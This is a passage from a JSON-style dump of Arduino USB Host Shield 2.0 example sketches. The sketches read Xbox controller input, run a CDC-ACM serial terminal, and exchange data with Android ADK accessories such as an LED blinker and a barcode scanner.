    "content": "/*\n Example sketch for the original Xbox library - developed by Kristian Lauszus\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <XBOXOLD.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\nUSBHub  Hub1(&Usb); // The controller has a built in hub, so this instance is needed\nXBOXOLD Xbox(&Usb);\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); // halt\n  }\n  Serial.print(F(\"\\r\\nXBOX Library Started\"));\n}\nvoid loop() {\n  Usb.Task();\n  if (Xbox.XboxConnected) {\n    if (Xbox.getButtonPress(BLACK) || Xbox.getButtonPress(WHITE)) {\n      Serial.print(\"BLACK: \");\n      Serial.print(Xbox.getButtonPress(BLACK));\n      Serial.print(\"\\tWHITE: \");\n      Serial.println(Xbox.getButtonPress(WHITE));\n      Xbox.setRumbleOn(Xbox.getButtonPress(BLACK), Xbox.getButtonPress(WHITE));\n    } else\n      Xbox.setRumbleOn(0, 0);\n\n    if (Xbox.getAnalogHat(LeftHatX) > 7500 || Xbox.getAnalogHat(LeftHatX) < -7500 || Xbox.getAnalogHat(LeftHatY) > 7500 || Xbox.getAnalogHat(LeftHatY) < -7500 || Xbox.getAnalogHat(RightHatX) > 7500 || Xbox.getAnalogHat(RightHatX) < -7500 || Xbox.getAnalogHat(RightHatY) > 7500 || Xbox.getAnalogHat(RightHatY) < -7500) {\n      if (Xbox.getAnalogHat(LeftHatX) > 7500 || Xbox.getAnalogHat(LeftHatX) < -7500) {\n        Serial.print(F(\"LeftHatX: \"));\n        Serial.print(Xbox.getAnalogHat(LeftHatX));\n        Serial.print(\"\\t\");\n      }\n      if (Xbox.getAnalogHat(LeftHatY) > 7500 || Xbox.getAnalogHat(LeftHatY) < -7500) {\n        Serial.print(F(\"LeftHatY: \"));\n        Serial.print(Xbox.getAnalogHat(LeftHatY));\n        Serial.print(\"\\t\");\n      }\n      if (Xbox.getAnalogHat(RightHatX) > 7500 || Xbox.getAnalogHat(RightHatX) < -7500) {\n        Serial.print(F(\"RightHatX: \"));\n        Serial.print(Xbox.getAnalogHat(RightHatX));\n        Serial.print(\"\\t\");\n      }\n      if (Xbox.getAnalogHat(RightHatY) > 7500 || Xbox.getAnalogHat(RightHatY) < -7500) {\n        Serial.print(F(\"RightHatY: \"));\n        Serial.print(Xbox.getAnalogHat(RightHatY));\n      }\n      Serial.println();\n    }\n\n    if (Xbox.getButtonClick(UP))\n      Serial.println(F(\"Up\"));\n    if (Xbox.getButtonClick(DOWN))\n      Serial.println(F(\"Down\"));\n    if (Xbox.getButtonClick(LEFT))\n      Serial.println(F(\"Left\"));\n    if (Xbox.getButtonClick(RIGHT))\n      Serial.println(F(\"Right\"));\n\n    if (Xbox.getButtonClick(START))\n      Serial.println(F(\"Start\"));\n    if (Xbox.getButtonClick(BACK))\n      Serial.println(F(\"Back\"));\n    if (Xbox.getButtonClick(L3))\n      Serial.println(F(\"L3\"));\n    if (Xbox.getButtonClick(R3))\n      Serial.println(F(\"R3\"));\n\n    if (Xbox.getButtonPress(A)) {\n      Serial.print(F(\"A: \"));\n      Serial.println(Xbox.getButtonPress(A));\n    }\n    if (Xbox.getButtonPress(B)) {\n      Serial.print(F(\"B: \"));\n      Serial.println(Xbox.getButtonPress(B));\n    }\n    if (Xbox.getButtonPress(X)) {\n      Serial.print(F(\"X: \"));\n      Serial.println(Xbox.getButtonPress(X));\n    }\n    if (Xbox.getButtonPress(Y)) {\n      Serial.print(F(\"Y: \"));\n      Serial.println(Xbox.getButtonPress(Y));\n    }\n    if (Xbox.getButtonPress(L1)) {\n      Serial.print(F(\"L1: \"));\n      Serial.println(Xbox.getButtonPress(L1));\n    }\n    if (Xbox.getButtonPress(R1)) {\n      Serial.print(F(\"R1: \"));\n      Serial.println(Xbox.getButtonPress(R1));\n    }\n  }\n  delay(1);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Xbox/XBOXONE/XBOXONE.ino",
    "content": "/*\n Example sketch for the Xbox ONE USB library - by guruthree, based on work by\n Kristian Lauszus.\n */\n\n#include <XBOXONE.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\nXBOXONE Xbox(&Usb);\n\nvoid setup() {\n  Serial.begin(115200);\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); //halt\n  }\n  Serial.print(F(\"\\r\\nXBOX USB Library Started\"));\n}\nvoid loop() {\n  Usb.Task();\n  if (Xbox.XboxOneConnected) {\n    if (Xbox.getAnalogHat(LeftHatX) > 7500 || Xbox.getAnalogHat(LeftHatX) < -7500 || Xbox.getAnalogHat(LeftHatY) > 7500 || Xbox.getAnalogHat(LeftHatY) < -7500 || Xbox.getAnalogHat(RightHatX) > 7500 || Xbox.getAnalogHat(RightHatX) < -7500 || Xbox.getAnalogHat(RightHatY) > 7500 || Xbox.getAnalogHat(RightHatY) < -7500) {\n      if (Xbox.getAnalogHat(LeftHatX) > 7500 || Xbox.getAnalogHat(LeftHatX) < -7500) {\n        Serial.print(F(\"LeftHatX: \"));\n        Serial.print(Xbox.getAnalogHat(LeftHatX));\n        Serial.print(\"\\t\");\n      }\n      if (Xbox.getAnalogHat(LeftHatY) > 7500 || Xbox.getAnalogHat(LeftHatY) < -7500) {\n        Serial.print(F(\"LeftHatY: \"));\n        Serial.print(Xbox.getAnalogHat(LeftHatY));\n        Serial.print(\"\\t\");\n      }\n      if (Xbox.getAnalogHat(RightHatX) > 7500 || Xbox.getAnalogHat(RightHatX) < -7500) {\n        Serial.print(F(\"RightHatX: \"));\n        Serial.print(Xbox.getAnalogHat(RightHatX));\n        Serial.print(\"\\t\");\n      }\n      if (Xbox.getAnalogHat(RightHatY) > 7500 || Xbox.getAnalogHat(RightHatY) < -7500) {\n        Serial.print(F(\"RightHatY: \"));\n        Serial.print(Xbox.getAnalogHat(RightHatY));\n      }\n      Serial.println();\n    }\n\n    if (Xbox.getButtonPress(L2) > 0 || Xbox.getButtonPress(R2) > 0) {\n      if (Xbox.getButtonPress(L2) > 0) {\n        Serial.print(F(\"L2: \"));\n        Serial.print(Xbox.getButtonPress(L2));\n        Serial.print(\"\\t\");\n      }\n      if (Xbox.getButtonPress(R2) > 0) {\n        Serial.print(F(\"R2: \"));\n        Serial.print(Xbox.getButtonPress(R2));\n        Serial.print(\"\\t\");\n      }\n      Serial.println();\n    }\n\n    // Set rumble effect\n    static uint16_t oldL2Value, oldR2Value;\n    if (Xbox.getButtonPress(L2) != oldL2Value || Xbox.getButtonPress(R2) != oldR2Value) {\n      oldL2Value = Xbox.getButtonPress(L2);\n      oldR2Value = Xbox.getButtonPress(R2);\n      uint8_t leftRumble = map(oldL2Value, 0, 1023, 0, 255); // Map the trigger values into a byte\n      uint8_t rightRumble = map(oldR2Value, 0, 1023, 0, 255);\n      if (leftRumble > 0 || rightRumble > 0)\n        Xbox.setRumbleOn(leftRumble, rightRumble, leftRumble, rightRumble);\n      else\n        Xbox.setRumbleOff();\n    }\n\n    if (Xbox.getButtonClick(UP))\n      Serial.println(F(\"Up\"));\n    if (Xbox.getButtonClick(DOWN))\n      Serial.println(F(\"Down\"));\n    if (Xbox.getButtonClick(LEFT))\n      Serial.println(F(\"Left\"));\n    if (Xbox.getButtonClick(RIGHT))\n      Serial.println(F(\"Right\"));\n\n    if (Xbox.getButtonClick(START))\n      Serial.println(F(\"Start\"));\n    if (Xbox.getButtonClick(BACK))\n      Serial.println(F(\"Back\"));\n    if (Xbox.getButtonClick(XBOX))\n      Serial.println(F(\"Xbox\"));\n    if (Xbox.getButtonClick(SYNC))\n      Serial.println(F(\"Sync\"));\n\n    if (Xbox.getButtonClick(L1))\n      Serial.println(F(\"L1\"));\n    if (Xbox.getButtonClick(R1))\n      Serial.println(F(\"R1\"));\n    if (Xbox.getButtonClick(L2))\n      Serial.println(F(\"L2\"));\n    if (Xbox.getButtonClick(R2))\n      Serial.println(F(\"R2\"));\n    if (Xbox.getButtonClick(L3))\n      Serial.println(F(\"L3\"));\n    if (Xbox.getButtonClick(R3))\n      Serial.println(F(\"R3\"));\n\n\n    if (Xbox.getButtonClick(A))\n      Serial.println(F(\"A\"));\n    if (Xbox.getButtonClick(B))\n      Serial.println(F(\"B\"));\n    if (Xbox.getButtonClick(X))\n      Serial.println(F(\"X\"));\n    if (Xbox.getButtonClick(Y))\n      Serial.println(F(\"Y\"));\n  }\n  delay(1);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Xbox/XBOXRECV/XBOXRECV.ino",
    "content": "/*\n Example sketch for the Xbox Wireless Reciver library - developed by Kristian Lauszus\n It supports up to four controllers wirelessly\n For more information see the blog post: http://blog.tkjelectronics.dk/2012/12/xbox-360-receiver-added-to-the-usb-host-library/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <XBOXRECV.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\nXBOXRECV Xbox(&Usb);\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); //halt\n  }\n  Serial.print(F(\"\\r\\nXbox Wireless Receiver Library Started\"));\n}\nvoid loop() {\n  Usb.Task();\n  if (Xbox.XboxReceiverConnected) {\n    for (uint8_t i = 0; i < 4; i++) {\n      if (Xbox.Xbox360Connected[i]) {\n        if (Xbox.getButtonPress(L2, i) || Xbox.getButtonPress(R2, i)) {\n          Serial.print(\"L2: \");\n          Serial.print(Xbox.getButtonPress(L2, i));\n          Serial.print(\"\\tR2: \");\n          Serial.println(Xbox.getButtonPress(R2, i));\n          Xbox.setRumbleOn(Xbox.getButtonPress(L2, i), Xbox.getButtonPress(R2, i), i);\n        }\n\n        if (Xbox.getAnalogHat(LeftHatX, i) > 7500 || Xbox.getAnalogHat(LeftHatX, i) < -7500 || Xbox.getAnalogHat(LeftHatY, i) > 7500 || Xbox.getAnalogHat(LeftHatY, i) < -7500 || Xbox.getAnalogHat(RightHatX, i) > 7500 || Xbox.getAnalogHat(RightHatX, i) < -7500 || Xbox.getAnalogHat(RightHatY, i) > 7500 || Xbox.getAnalogHat(RightHatY, i) < -7500) {\n          if (Xbox.getAnalogHat(LeftHatX, i) > 7500 || Xbox.getAnalogHat(LeftHatX, i) < -7500) {\n            Serial.print(F(\"LeftHatX: \"));\n            Serial.print(Xbox.getAnalogHat(LeftHatX, i));\n            Serial.print(\"\\t\");\n          }\n          if (Xbox.getAnalogHat(LeftHatY, i) > 7500 || Xbox.getAnalogHat(LeftHatY, i) < -7500) {\n            Serial.print(F(\"LeftHatY: \"));\n            Serial.print(Xbox.getAnalogHat(LeftHatY, i));\n            Serial.print(\"\\t\");\n          }\n          if (Xbox.getAnalogHat(RightHatX, i) > 7500 || Xbox.getAnalogHat(RightHatX, i) < -7500) {\n            Serial.print(F(\"RightHatX: \"));\n            Serial.print(Xbox.getAnalogHat(RightHatX, i));\n            Serial.print(\"\\t\");\n          }\n          if (Xbox.getAnalogHat(RightHatY, i) > 7500 || Xbox.getAnalogHat(RightHatY, i) < -7500) {\n            Serial.print(F(\"RightHatY: \"));\n            Serial.print(Xbox.getAnalogHat(RightHatY, i));\n          }\n          Serial.println();\n        }\n\n        if (Xbox.getButtonClick(UP, i)) {\n          Xbox.setLedOn(LED1, i);\n          Serial.println(F(\"Up\"));\n        }\n        if (Xbox.getButtonClick(DOWN, i)) {\n          Xbox.setLedOn(LED4, i);\n          Serial.println(F(\"Down\"));\n        }\n        if (Xbox.getButtonClick(LEFT, i)) {\n          Xbox.setLedOn(LED3, i);\n          Serial.println(F(\"Left\"));\n        }\n        if (Xbox.getButtonClick(RIGHT, i)) {\n          Xbox.setLedOn(LED2, i);\n          Serial.println(F(\"Right\"));\n        }\n\n        if (Xbox.getButtonClick(START, i)) {\n          Xbox.setLedMode(ALTERNATING, i);\n          Serial.println(F(\"Start\"));\n        }\n        if (Xbox.getButtonClick(BACK, i)) {\n          Xbox.setLedBlink(ALL, i);\n          Serial.println(F(\"Back\"));\n        }\n        if (Xbox.getButtonClick(L3, i))\n          Serial.println(F(\"L3\"));\n        if (Xbox.getButtonClick(R3, i))\n          Serial.println(F(\"R3\"));\n\n        if (Xbox.getButtonClick(L1, i))\n          Serial.println(F(\"L1\"));\n        if (Xbox.getButtonClick(R1, i))\n          Serial.println(F(\"R1\"));\n        if (Xbox.getButtonClick(XBOX, i)) {\n          Xbox.setLedMode(ROTATING, i);\n          Serial.print(F(\"Xbox (Battery: \"));\n          Serial.print(Xbox.getBatteryLevel(i)); // The battery level in the range 0-3\n          Serial.println(F(\")\"));\n        }\n        if (Xbox.getButtonClick(SYNC, i)) {\n          Serial.println(F(\"Sync\"));\n          Xbox.disconnect(i);\n        }\n\n        if (Xbox.getButtonClick(A, i))\n          Serial.println(F(\"A\"));\n        if (Xbox.getButtonClick(B, i))\n          Serial.println(F(\"B\"));\n        if (Xbox.getButtonClick(X, i))\n          Serial.println(F(\"X\"));\n        if (Xbox.getButtonClick(Y, i))\n          Serial.println(F(\"Y\"));\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Xbox/XBOXUSB/XBOXUSB.ino",
    "content": "/*\n Example sketch for the Xbox 360 USB library - developed by Kristian Lauszus\n For more information visit my blog: http://blog.tkjelectronics.dk/ or\n send me an e-mail:  kristianl@tkjelectronics.com\n */\n\n#include <XBOXUSB.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\nXBOXUSB Xbox(&Usb);\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(F(\"\\r\\nOSC did not start\"));\n    while (1); //halt\n  }\n  Serial.print(F(\"\\r\\nXBOX USB Library Started\"));\n}\nvoid loop() {\n  Usb.Task();\n  if (Xbox.Xbox360Connected) {\n    if (Xbox.getButtonPress(L2) || Xbox.getButtonPress(R2)) {\n      Serial.print(\"L2: \");\n      Serial.print(Xbox.getButtonPress(L2));\n      Serial.print(\"\\tR2: \");\n      Serial.println(Xbox.getButtonPress(R2));\n      Xbox.setRumbleOn(Xbox.getButtonPress(L2), Xbox.getButtonPress(R2));\n    } else\n      Xbox.setRumbleOn(0, 0);\n\n    if (Xbox.getAnalogHat(LeftHatX) > 7500 || Xbox.getAnalogHat(LeftHatX) < -7500 || Xbox.getAnalogHat(LeftHatY) > 7500 || Xbox.getAnalogHat(LeftHatY) < -7500 || Xbox.getAnalogHat(RightHatX) > 7500 || Xbox.getAnalogHat(RightHatX) < -7500 || Xbox.getAnalogHat(RightHatY) > 7500 || Xbox.getAnalogHat(RightHatY) < -7500) {\n      if (Xbox.getAnalogHat(LeftHatX) > 7500 || Xbox.getAnalogHat(LeftHatX) < -7500) {\n        Serial.print(F(\"LeftHatX: \"));\n        Serial.print(Xbox.getAnalogHat(LeftHatX));\n        Serial.print(\"\\t\");\n      }\n      if (Xbox.getAnalogHat(LeftHatY) > 7500 || Xbox.getAnalogHat(LeftHatY) < -7500) {\n        Serial.print(F(\"LeftHatY: \"));\n        Serial.print(Xbox.getAnalogHat(LeftHatY));\n        Serial.print(\"\\t\");\n      }\n      if (Xbox.getAnalogHat(RightHatX) > 7500 || Xbox.getAnalogHat(RightHatX) < -7500) {\n        Serial.print(F(\"RightHatX: \"));\n        Serial.print(Xbox.getAnalogHat(RightHatX));\n        Serial.print(\"\\t\");\n      }\n      if (Xbox.getAnalogHat(RightHatY) > 7500 || Xbox.getAnalogHat(RightHatY) < -7500) {\n        Serial.print(F(\"RightHatY: \"));\n        Serial.print(Xbox.getAnalogHat(RightHatY));\n      }\n      Serial.println();\n    }\n\n    if (Xbox.getButtonClick(UP)) {\n      Xbox.setLedOn(LED1);\n      Serial.println(F(\"Up\"));\n    }\n    if (Xbox.getButtonClick(DOWN)) {\n      Xbox.setLedOn(LED4);\n      Serial.println(F(\"Down\"));\n    }\n    if (Xbox.getButtonClick(LEFT)) {\n      Xbox.setLedOn(LED3);\n      Serial.println(F(\"Left\"));\n    }\n    if (Xbox.getButtonClick(RIGHT)) {\n      Xbox.setLedOn(LED2);\n      Serial.println(F(\"Right\"));\n    }\n\n    if (Xbox.getButtonClick(START)) {\n      Xbox.setLedMode(ALTERNATING);\n      Serial.println(F(\"Start\"));\n    }\n    if (Xbox.getButtonClick(BACK)) {\n      Xbox.setLedBlink(ALL);\n      Serial.println(F(\"Back\"));\n    }\n    if (Xbox.getButtonClick(L3))\n      Serial.println(F(\"L3\"));\n    if (Xbox.getButtonClick(R3))\n      Serial.println(F(\"R3\"));\n\n    if (Xbox.getButtonClick(L1))\n      Serial.println(F(\"L1\"));\n    if (Xbox.getButtonClick(R1))\n      Serial.println(F(\"R1\"));\n    if (Xbox.getButtonClick(XBOX)) {\n      Xbox.setLedMode(ROTATING);\n      Serial.println(F(\"Xbox\"));\n    }\n\n    if (Xbox.getButtonClick(A))\n      Serial.println(F(\"A\"));\n    if (Xbox.getButtonClick(B))\n      Serial.println(F(\"B\"));\n    if (Xbox.getButtonClick(X))\n      Serial.println(F(\"X\"));\n    if (Xbox.getButtonClick(Y))\n      Serial.println(F(\"Y\"));\n  }\n  delay(1);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/acm/acm_terminal/acm_terminal.ino",
    "content": "#include <cdcacm.h>\n#include <usbhub.h>\n\n#include \"pgmstrings.h\"\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nclass ACMAsyncOper : public CDCAsyncOper\n{\npublic:\n    uint8_t OnInit(ACM *pacm);\n};\n\nuint8_t ACMAsyncOper::OnInit(ACM *pacm)\n{\n    uint8_t rcode;\n    // Set DTR = 1 RTS=1\n    rcode = pacm->SetControlLineState(3);\n\n    if (rcode)\n    {\n        ErrorMessage<uint8_t>(PSTR(\"SetControlLineState\"), rcode);\n        return rcode;\n    }\n\n    LINE_CODING\tlc;\n    lc.dwDTERate\t= 115200;\n    lc.bCharFormat\t= 0;\n    lc.bParityType\t= 0;\n    lc.bDataBits\t= 8;\n\n    rcode = pacm->SetLineCoding(&lc);\n\n    if (rcode)\n        ErrorMessage<uint8_t>(PSTR(\"SetLineCoding\"), rcode);\n\n    return rcode;\n}\n\nUSB     Usb;\n//USBHub     Hub(&Usb);\nACMAsyncOper  AsyncOper;\nACM           Acm(&Usb, &AsyncOper);\n\nvoid setup()\n{\n  Serial.begin( 115200 );\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"Start\");\n\n  if (Usb.Init() == -1)\n      Serial.println(\"OSCOKIRQ failed to assert\");\n\n  delay( 200 );\n}\n\nvoid loop()\n{\n    Usb.Task();\n\n    if( Acm.isReady()) {\n       uint8_t rcode;\n\n       /* reading the keyboard */\n       if(Serial.available()) {\n         uint8_t data= Serial.read();\n         /* sending to the phone */\n         rcode = Acm.SndData(1, &data);\n         if (rcode)\n            ErrorMessage<uint8_t>(PSTR(\"SndData\"), rcode);\n       }//if(Serial.available()...\n\n       delay(50);\n\n        /* reading the phone */\n        /* buffer size must be greater or equal to max.packet size */\n        /* it it set to 64 (largest possible max.packet size) here, can be tuned down\n        for particular endpoint */\n        uint8_t  buf[64];\n        uint16_t rcvd = 64;\n        rcode = Acm.RcvData(&rcvd, buf);\n         if (rcode && rcode != hrNAK)\n            ErrorMessage<uint8_t>(PSTR(\"Ret\"), rcode);\n\n            if( rcvd ) { //more than zero bytes received\n              for(uint16_t i=0; i < rcvd; i++ ) {\n                Serial.print((char)buf[i]); //printing on the screen\n              }\n            }\n        delay(10);\n    }//if( Usb.getUsbTaskState() == USB_STATE_RUNNING..\n}\n\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/acm/acm_terminal/pgmstrings.h",
    "content": "#if !defined(__PGMSTRINGS_H__)\n#define __PGMSTRINGS_H__\n\n#define LOBYTE(x) ((char*)(&(x)))[0]\n#define HIBYTE(x) ((char*)(&(x)))[1]\n#define BUFSIZE 256    //buffer size\n \n\n/* Print strings in Program Memory */\nconst char Gen_Error_str[] PROGMEM = \"\\r\\nRequest error. Error code:\\t\"; \nconst char Dev_Header_str[] PROGMEM =\"\\r\\nDevice descriptor: \";\nconst char Dev_Length_str[] PROGMEM =\"\\r\\nDescriptor Length:\\t\";\nconst char Dev_Type_str[] PROGMEM =\"\\r\\nDescriptor type:\\t\";\nconst char Dev_Version_str[] PROGMEM =\"\\r\\nUSB version:\\t\\t\";\nconst char Dev_Class_str[] PROGMEM =\"\\r\\nDevice class:\\t\\t\";\nconst char Dev_Subclass_str[] PROGMEM =\"\\r\\nDevice Subclass:\\t\";\nconst char Dev_Protocol_str[] PROGMEM =\"\\r\\nDevice Protocol:\\t\";\nconst char Dev_Pktsize_str[] PROGMEM =\"\\r\\nMax.packet size:\\t\";\nconst char Dev_Vendor_str[] PROGMEM =\"\\r\\nVendor  ID:\\t\\t\";\nconst char Dev_Product_str[] PROGMEM =\"\\r\\nProduct ID:\\t\\t\";\nconst char Dev_Revision_str[] PROGMEM =\"\\r\\nRevision ID:\\t\\t\";\nconst char Dev_Mfg_str[] PROGMEM =\"\\r\\nMfg.string index:\\t\";\nconst char Dev_Prod_str[] PROGMEM =\"\\r\\nProd.string index:\\t\";\nconst char Dev_Serial_str[] PROGMEM =\"\\r\\nSerial number index:\\t\";\nconst char Dev_Nconf_str[] PROGMEM =\"\\r\\nNumber of conf.:\\t\";\nconst char Conf_Trunc_str[] PROGMEM =\"Total length truncated to 256 bytes\";\nconst char Conf_Header_str[] PROGMEM =\"\\r\\nConfiguration descriptor:\";\nconst char Conf_Totlen_str[] PROGMEM =\"\\r\\nTotal length:\\t\\t\";\nconst char Conf_Nint_str[] PROGMEM =\"\\r\\nNum.intf:\\t\\t\";\nconst char Conf_Value_str[] PROGMEM =\"\\r\\nConf.value:\\t\\t\";\nconst char Conf_String_str[] PROGMEM =\"\\r\\nConf.string:\\t\\t\";\nconst char Conf_Attr_str[] PROGMEM =\"\\r\\nAttr.:\\t\\t\\t\";\nconst char Conf_Pwr_str[] PROGMEM =\"\\r\\nMax.pwr:\\t\\t\";\nconst char Int_Header_str[] PROGMEM =\"\\r\\n\\r\\nInterface descriptor:\";\nconst char Int_Number_str[] PROGMEM =\"\\r\\nIntf.number:\\t\\t\";\nconst char Int_Alt_str[] PROGMEM =\"\\r\\nAlt.:\\t\\t\\t\";\nconst char Int_Endpoints_str[] PROGMEM =\"\\r\\nEndpoints:\\t\\t\";\nconst char Int_Class_str[] PROGMEM =\"\\r\\nIntf. Class:\\t\\t\";\nconst char Int_Subclass_str[] PROGMEM =\"\\r\\nIntf. Subclass:\\t\\t\";\nconst char Int_Protocol_str[] PROGMEM =\"\\r\\nIntf. Protocol:\\t\\t\";\nconst char Int_String_str[] PROGMEM =\"\\r\\nIntf.string:\\t\\t\";\nconst char End_Header_str[] PROGMEM =\"\\r\\n\\r\\nEndpoint descriptor:\";\nconst char End_Address_str[] PROGMEM =\"\\r\\nEndpoint address:\\t\";\nconst char End_Attr_str[] PROGMEM =\"\\r\\nAttr.:\\t\\t\\t\";\nconst char End_Pktsize_str[] PROGMEM =\"\\r\\nMax.pkt size:\\t\\t\";\nconst char End_Interval_str[] PROGMEM =\"\\r\\nPolling interval:\\t\";\nconst char Unk_Header_str[] PROGMEM = \"\\r\\nUnknown descriptor:\";\nconst char Unk_Length_str[] PROGMEM =\"\\r\\nLength:\\t\\t\";\nconst char Unk_Type_str[] PROGMEM =\"\\r\\nType:\\t\\t\";\nconst char Unk_Contents_str[] PROGMEM =\"\\r\\nContents:\\t\";\n \n#endif // __PGMSTRINGS_H__"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/adk/ArduinoBlinkLED/ArduinoBlinkLED.ino",
    "content": "// The source for the Android application can be found at the following link: https://github.com/Lauszus/ArduinoBlinkLED\n// The code for the Android application is heavily based on this guide: http://allaboutee.com/2011/12/31/arduino-adk-board-blink-an-led-with-your-phone-code-and-explanation/ by Miguel\n#include <adk.h>\n\n//\n// CAUTION! WARNING! ATTENTION! VORSICHT! ADVARSEL! ¡CUIDADO! ВНИМАНИЕ!\n//\n// Pin 13 is occupied by the SCK pin on various Arduino boards,\n// including Uno, Duemilanove, etc., so use a different pin for those boards.\n//\n// CAUTION! WARNING! ATTENTION! VORSICHT! ADVARSEL! ¡CUIDADO! ВНИМАНИЕ!\n//\n#if defined(LED_BUILTIN)\n#define LED LED_BUILTIN // Use built in LED\n#else\n#define LED 9 // Set to something here that makes sense for your board.\n#endif\n\n\n// Satisfy IDE, which only needs to see the include statment in the ino.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\nADK adk(&Usb, \"TKJElectronics\", // Manufacturer Name\n              \"ArduinoBlinkLED\", // Model Name\n              \"Example sketch for the USB Host Shield\", // Description (user-visible string)\n              \"1.0\", // Version\n              \"http://www.tkjelectronics.dk/uploads/ArduinoBlinkLED.apk\", // URL (web page to visit if no installed apps support the accessory)\n              \"123456789\"); // Serial Number (optional)\n\nuint32_t timer;\nbool connected;\n\nvoid setup() {\n  Serial.begin(115200);\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  if (Usb.Init() == -1) {\n    Serial.print(\"\\r\\nOSCOKIRQ failed to assert\");\n    while (1); // halt\n  }\n  pinMode(LED, OUTPUT);\n  Serial.print(\"\\r\\nArduino Blink LED Started\");\n}\n\nvoid loop() {\n  Usb.Task();\n\n  if (adk.isReady()) {\n    if (!connected) {\n      connected = true;\n      Serial.print(F(\"\\r\\nConnected to accessory\"));\n    }\n\n    uint8_t msg[1];\n    uint16_t len = sizeof(msg);\n    uint8_t rcode = adk.RcvData(&len, msg);\n    if (rcode && rcode != hrNAK) {\n      Serial.print(F(\"\\r\\nData rcv: \"));\n      Serial.print(rcode, HEX);\n    } else if (len > 0) {\n      Serial.print(F(\"\\r\\nData Packet: \"));\n      Serial.print(msg[0]);\n      digitalWrite(LED, msg[0] ? HIGH : LOW);\n    }\n\n    if ((int32_t)((uint32_t)millis() - timer) >= 1000) { // Send data every 1s\n      timer = (uint32_t)millis();\n      rcode = adk.SndData(sizeof(timer), (uint8_t*)&timer);\n      if (rcode && rcode != hrNAK) {\n        Serial.print(F(\"\\r\\nData send: \"));\n        Serial.print(rcode, HEX);\n      } else if (rcode != hrNAK) {\n        Serial.print(F(\"\\r\\nTimer: \"));\n        Serial.print(timer);\n      }\n    }\n  } else {\n    if (connected) {\n      connected = false;\n      Serial.print(F(\"\\r\\nDisconnected from accessory\"));\n      digitalWrite(LED, LOW);\n    }\n  }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/adk/adk_barcode/adk_barcode.ino",
    "content": "/**/\n/* A sketch demonstrating data exchange between two USB devices - a HID barcode scanner and ADK-compatible Android phone */\n/**/\n#include <adk.h>\n#include <hidboot.h>\n#include <usbhub.h>\n\n// Satisfy IDE, which only needs to see the include statment in the ino.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nUSB Usb;\nUSBHub Hub1(&Usb);\nUSBHub Hub2(&Usb);\nHIDBoot<USB_HID_PROTOCOL_KEYBOARD> HidKeyboard(&Usb);\n\nADK adk(&Usb,\"Circuits@Home, ltd.\",\n            \"USB Host Shield\",\n            \"Arduino Terminal for Android\",\n            \"1.0\",\n            \"http://www.circuitsathome.com\",\n            \"0000000000000001\");\n\n\nclass KbdRptParser : public KeyboardReportParser\n{\n\nprotected:\n\tvoid OnKeyDown\t(uint8_t mod, uint8_t key);\n\tvoid OnKeyPressed(uint8_t key);\n};\n\nvoid KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key)\n{\n    uint8_t c = OemToAscii(mod, key);\n\n    if (c)\n        OnKeyPressed(c);\n}\n\n/* what to do when symbol arrives */\nvoid KbdRptParser::OnKeyPressed(uint8_t key)\n{\nconst char* new_line = \"\\n\";\nuint8_t rcode;\nuint8_t keylcl;\n\n if( adk.isReady() == false ) {\n   return;\n }\n\n  keylcl = key;\n\n  if( keylcl == 0x13 ) {\n    rcode = adk.SndData( strlen( new_line ), (uint8_t *)new_line );\n    if (rcode && rcode != hrNAK) {\n      Serial.print(F(\"\\r\\nData send: \"));\n      Serial.print(rcode, HEX);\n    }\n  }\n  else {\n    rcode = adk.SndData( 